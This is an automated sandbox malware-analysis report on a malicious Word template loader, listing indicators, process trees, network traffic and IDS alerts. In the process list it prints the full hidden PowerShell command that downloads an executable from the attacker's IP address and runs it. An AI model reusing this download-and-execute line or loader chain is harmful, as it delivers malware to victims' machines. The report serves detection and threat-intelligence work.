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URL:

http://20.51.227.181/layout20223acb.dotm

Full analysis: https://app.any.run/tasks/36264c34-4a36-4ed4-9d86-f55ca68873eb
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: June 27, 2022, 08:00:52
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
loader
Indicators:
MD5:

0DE39C02A8BFA48284E8D41B3F2FF347

SHA1:

3251844E8853FAA72C02CDA8AC4CC97DAB9987DA

SHA256:

0DFFDF756C613DF6BEB2C082647474375D14496DA298EE5809D51030C9C73B13

SSDEEP:

3:N1KjkXZgq1aUI:CQXZg6I

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Executes PowerShell scripts

      • WINWORD.EXE (PID: 2460)

    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 2460)

    • Drops executable file immediately after starts

      • powershell.exe (PID: 2840)

    • Application was dropped or rewritten from another process

      • WioNET.exe (PID: 3980)

  • SUSPICIOUS

    • Application launched itself

      • WINWORD.EXE (PID: 2460)

    • Starts Microsoft Office Application

      • WINWORD.EXE (PID: 2460)

    • Checks supported languages

      • powershell.exe (PID: 2840)
      • WioNET.exe (PID: 3980)

    • Creates files in the user directory

      • powershell.exe (PID: 2840)

    • Reads the computer name

      • powershell.exe (PID: 2840)

    • Reads the date of Windows installation

      • powershell.exe (PID: 2840)

    • Reads Environment values

      • powershell.exe (PID: 2840)

    • Drops a file with a compile date too recent

      • powershell.exe (PID: 2840)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 2840)

  • INFO

    • Checks supported languages

      • firefox.exe (PID: 1932)
      • firefox.exe (PID: 2956)
      • firefox.exe (PID: 3248)
      • firefox.exe (PID: 3520)
      • firefox.exe (PID: 3532)
      • firefox.exe (PID: 2348)
      • firefox.exe (PID: 2796)
      • WINWORD.EXE (PID: 1844)
      • WINWORD.EXE (PID: 2460)

    • Reads CPU info

      • firefox.exe (PID: 1932)

    • Reads the computer name

      • firefox.exe (PID: 1932)
      • firefox.exe (PID: 3520)
      • firefox.exe (PID: 3248)
      • firefox.exe (PID: 3532)
      • firefox.exe (PID: 2348)
      • firefox.exe (PID: 2796)
      • WINWORD.EXE (PID: 2460)
      • WINWORD.EXE (PID: 1844)

    • Application launched itself

      • firefox.exe (PID: 2956)
      • firefox.exe (PID: 1932)

    • Creates files in the program directory

      • firefox.exe (PID: 1932)

    • Creates files in the user directory

      • firefox.exe (PID: 1932)
      • WINWORD.EXE (PID: 2460)

    • Checks Windows Trust Settings

      • firefox.exe (PID: 1932)
      • powershell.exe (PID: 2840)

    • Manual execution by user

      • WINWORD.EXE (PID: 2460)

    • Dropped object may contain Bitcoin addresses

      • firefox.exe (PID: 1932)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 1844)
      • WINWORD.EXE (PID: 2460)

    • Reads settings of System Certificates

      • powershell.exe (PID: 2840)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
47
Monitored processes
11
Malicious processes
2
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start firefox.exe no specs firefox.exe firefox.exe no specs firefox.exe no specs firefox.exe no specs firefox.exe no specs firefox.exe no specs winword.exe no specs winword.exe no specs powershell.exe wionet.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2956"C:\Program Files\Mozilla Firefox\firefox.exe" "http://20.51.227.181/layout20223acb.dotm"C:\Program Files\Mozilla Firefox\firefox.exe—Explorer.EXE
User:
admin
Company:
Mozilla Corporation
Integrity Level:
MEDIUM
Description:
Firefox
Exit code:
0
Version:
83.0
Modules
Images
c:\program files\mozilla firefox\firefox.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files\mozilla firefox\mozglue.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\crypt32.dll
1932"C:\Program Files\Mozilla Firefox\firefox.exe" http://20.51.227.181/layout20223acb.dotmC:\Program Files\Mozilla Firefox\firefox.exe
firefox.exe
User:
admin
Company:
Mozilla Corporation
Integrity Level:
MEDIUM
Description:
Firefox
Version:
83.0
Modules
Images
c:\program files\mozilla firefox\firefox.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files\mozilla firefox\mozglue.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\crypt32.dll
3520"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1932.0.232687424\1483323877" -parentBuildID 20201112153044 -prefsHandle 1148 -prefMapHandle 1140 -prefsLen 1 -prefMapSize 238726 -appdir "C:\Program Files\Mozilla Firefox\browser" - 1932 "\\.\pipe\gecko-crash-server-pipe.1932" 1232 gpuC:\Program Files\Mozilla Firefox\firefox.exe—firefox.exe
User:
admin
Company:
Mozilla Corporation
Integrity Level:
MEDIUM
Description:
Firefox
Version:
83.0
Modules
Images
c:\program files\mozilla firefox\firefox.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\program files\mozilla firefox\mozglue.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\msasn1.dll
3248"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1932.6.505533442\1279317862" -childID 1 -isForBrowser -prefsHandle 3152 -prefMapHandle 3148 -prefsLen 245 -prefMapSize 238726 -parentBuildID 20201112153044 -appdir "C:\Program Files\Mozilla Firefox\browser" - 1932 "\\.\pipe\gecko-crash-server-pipe.1932" 3164 tabC:\Program Files\Mozilla Firefox\firefox.exe—firefox.exe
User:
admin
Company:
Mozilla Corporation
Integrity Level:
LOW
Description:
Firefox
Version:
83.0
Modules
Images
c:\program files\mozilla firefox\firefox.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files\mozilla firefox\mozglue.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\crypt32.dll
3532"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1932.13.535391616\811531160" -childID 2 -isForBrowser -prefsHandle 2680 -prefMapHandle 2700 -prefsLen 6644 -prefMapSize 238726 -parentBuildID 20201112153044 -appdir "C:\Program Files\Mozilla Firefox\browser" - 1932 "\\.\pipe\gecko-crash-server-pipe.1932" 2668 tabC:\Program Files\Mozilla Firefox\firefox.exe—firefox.exe
User:
admin
Company:
Mozilla Corporation
Integrity Level:
LOW
Description:
Firefox
Version:
83.0
Modules
Images
c:\program files\mozilla firefox\firefox.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\program files\mozilla firefox\mozglue.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
2348"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1932.20.346449828\543339833" -childID 3 -isForBrowser -prefsHandle 3732 -prefMapHandle 3728 -prefsLen 7307 -prefMapSize 238726 -parentBuildID 20201112153044 -appdir "C:\Program Files\Mozilla Firefox\browser" - 1932 "\\.\pipe\gecko-crash-server-pipe.1932" 3744 tabC:\Program Files\Mozilla Firefox\firefox.exe—firefox.exe
User:
admin
Company:
Mozilla Corporation
Integrity Level:
LOW
Description:
Firefox
Version:
83.0
Modules
Images
c:\program files\mozilla firefox\firefox.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files\mozilla firefox\mozglue.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\version.dll
2796"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1932.27.1671894502\1086756827" -childID 4 -isForBrowser -prefsHandle 3900 -prefMapHandle 3896 -prefsLen 7399 -prefMapSize 238726 -parentBuildID 20201112153044 -appdir "C:\Program Files\Mozilla Firefox\browser" - 1932 "\\.\pipe\gecko-crash-server-pipe.1932" 3912 tabC:\Program Files\Mozilla Firefox\firefox.exe—firefox.exe
User:
admin
Company:
Mozilla Corporation
Integrity Level:
LOW
Description:
Firefox
Version:
83.0
Modules
Images
c:\program files\mozilla firefox\firefox.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\program files\mozilla firefox\mozglue.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\crypt32.dll
2460"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n /f "C:\Users\admin\AppData\Local\Temp\layout20223acb.dotm"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—Explorer.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\winword.exe
c:\windows\system32\kernel32.dll
c:\windows\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.18837_none_ec86b8d6858ec0bc\comctl32.dll
c:\windows\system32\gdi32.dll
1844"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /EmbeddingC:\Program Files\Microsoft Office\Office14\WINWORD.EXE—WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\winword.exe
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ntdll.dll
c:\windows\system32\sechost.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.18837_none_ec86b8d6858ec0bc\comctl32.dll
c:\windows\system32\gdi32.dll
2840powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile('http://20.51.227.181/svchost.exe','WioNET.exe');Start-Process 'WioNET.exe'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
Total events
18 012
Read events
17 067
Write events
0
Delete events
0

Modification events

No data
Executable files
1
Suspicious files
65
Text files
36
Unknown types
17

Dropped files

PID
Process
Filename
Type
1932firefox.exeC:\Users\admin\AppData\Local\Mozilla\Firefox\Profiles\qldyz51w.default\startupCache\scriptCache-current.bin —
MD5:—
SHA256:—
1932firefox.exeC:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite —
MD5:—
SHA256:—
1932firefox.exeC:\Users\admin\AppData\Local\Temp\mz_etilqs_bAkAh4WTyqL0VY3binary
MD5:DF4920C3A8F27E4B30E3F0583C3D85B2
SHA256:440AF504F464A4F94774731A4D5EB5DA59D60B49F7B27FF0D1E115E3B23D4055
1932firefox.exeC:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite-walbinary
MD5:FEE0395F7E60556CC1B61BB925E1FA3D
SHA256:525BDB8881BEEF2A5D20D612C4ED23D1C6F6CACC8E165F51CE5B9B224C258A66
1932firefox.exeC:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite-shmbinary
MD5:B7C14EC6110FA820CA6B65F5AEC85911
SHA256:FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
1932firefox.exeC:\Users\admin\AppData\Local\Temp\0XUFbdFi.dotm.partdocument
MD5:088D34BC9EF5AB6A3B197BD054BF5696
SHA256:31D46CD6E6CBC833FE6EB9EF4297D8DAF47118DF307CF63C5115707B4D401B13
1932firefox.exeC:\Users\admin\AppData\Local\Mozilla\Firefox\Profiles\qldyz51w.default\startupCache\urlCache-current.binbinary
MD5:994A33896BB41A278A315D0D796422B6
SHA256:54EC50A20FFF8CC016710E49437CF6A11D3FE5EE7B28C185E4A9AAFEE2908B63
1932firefox.exeC:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\cookies.sqlite-shmbinary
MD5:B7C14EC6110FA820CA6B65F5AEC85911
SHA256:FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
1932firefox.exeC:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite-shmbinary
MD5:B7C14EC6110FA820CA6B65F5AEC85911
SHA256:FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
1932firefox.exeC:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\sessionCheckpoints.json.tmpbinary
MD5:EA8B62857DFDBD3D0BE7D7E4A954EC9A
SHA256:792955295AE9C382986222C6731C5870BD0E921E7F7E34CC4615F5CD67F225DA
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
8
TCP/UDP connections
39
DNS requests
54
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
1932
firefox.exe
GET
200
20.51.227.181:80
http://20.51.227.181/layout20223acb.dotm
US
document
290 Kb
suspicious
1932
firefox.exe
POST
200
142.250.185.67:80
http://ocsp.pki.goog/gts1c3
US
der
472 b
whitelisted
1932
firefox.exe
POST
200
93.184.220.29:80
http://ocsp.digicert.com/
US
der
471 b
whitelisted
1932
firefox.exe
POST
200
93.184.220.29:80
http://ocsp.digicert.com/
US
der
471 b
whitelisted
1932
firefox.exe
POST
200
142.250.185.67:80
http://ocsp.pki.goog/gts1c3
US
der
471 b
whitelisted
2840
powershell.exe
GET
200
20.51.227.181:80
http://20.51.227.181/svchost.exe
US
executable
1.67 Mb
suspicious
1932
firefox.exe
GET
200
34.107.221.82:80
http://detectportal.firefox.com/success.txt
US
text
8 b
whitelisted
1932
firefox.exe
GET
200
34.107.221.82:80
http://detectportal.firefox.com/success.txt?ipv4
US
text
8 b
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
1932
firefox.exe
34.107.221.82:80
detectportal.firefox.com
—
US
whitelisted
1932
firefox.exe
93.184.220.29:80
ocsp.digicert.com
MCI Communications Services, Inc. d/b/a Verizon Business
US
whitelisted
1932
firefox.exe
20.51.227.181:80
—
—
US
suspicious
1932
firefox.exe
34.208.249.219:443
location.services.mozilla.com
Amazon.com, Inc.
US
unknown
1932
firefox.exe
142.250.186.74:443
safebrowsing.googleapis.com
Google Inc.
US
whitelisted
1932
firefox.exe
143.204.89.95:443
firefox.settings.services.mozilla.com
—
US
suspicious
1932
firefox.exe
142.250.185.67:80
ocsp.pki.goog
Google Inc.
US
whitelisted
1932
firefox.exe
35.166.39.67:443
shavar.services.mozilla.com
Amazon.com, Inc.
US
unknown
1932
firefox.exe
143.204.89.89:443
firefox-settings-attachments.cdn.mozilla.net
—
US
unknown
1932
firefox.exe
143.204.89.70:443
firefox-settings-attachments.cdn.mozilla.net
—
US
malicious

DNS requests

Domain
IP
Reputation
detectportal.firefox.com
  • 34.107.221.82
whitelisted
prod.detectportal.prod.cloudops.mozgcp.net
  • 34.107.221.82
  • 2600:1901:0:38d7::
whitelisted
firefox.settings.services.mozilla.com
  • 143.204.89.95
  • 143.204.89.63
  • 143.204.89.103
  • 143.204.89.68
whitelisted
location.services.mozilla.com
  • 34.208.249.219
  • 34.209.127.219
  • 52.40.106.245
  • 35.163.114.24
  • 54.189.127.149
  • 52.36.164.126
whitelisted
locprod2-elb-us-west-2.prod.mozaws.net
  • 52.36.164.126
  • 54.189.127.149
  • 35.163.114.24
  • 52.40.106.245
  • 34.209.127.219
  • 34.208.249.219
whitelisted
example.org
  • 93.184.216.34
whitelisted
ipv4only.arpa
  • 192.0.0.170
  • 192.0.0.171
whitelisted
ocsp.digicert.com
  • 93.184.220.29
whitelisted
cs9.wac.phicdn.net
  • 93.184.220.29
whitelisted
safebrowsing.googleapis.com
  • 142.250.186.74
  • 2a00:1450:4001:828::200a
whitelisted

Threats

PID
Process
Class
Message
1932
firefox.exe
Potentially Bad Traffic
ET INFO Terse Request for .txt - Likely Hostile
1932
firefox.exe
Potentially Bad Traffic
ET INFO Terse Request for .txt - Likely Hostile
2840
powershell.exe
A Network Trojan was detected
ET INFO Executable Download from dotted-quad Host
2840
powershell.exe
Potential Corporate Privacy Violation
AV POLICY HTTP request for .exe file with no User-Agent
2840
powershell.exe
Potentially Bad Traffic
ET INFO Suspicious svchost.exe in URI - Possible Process Dump/Trojan Download
2840
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
2840
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
2840
powershell.exe
Potentially Bad Traffic
ET INFO SUSPICIOUS Dotted Quad Host MZ Response
No debug info
Interactive malware hunting service ANY.RUN
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Reports
http://20.51.227.181/layout20223acb.dotm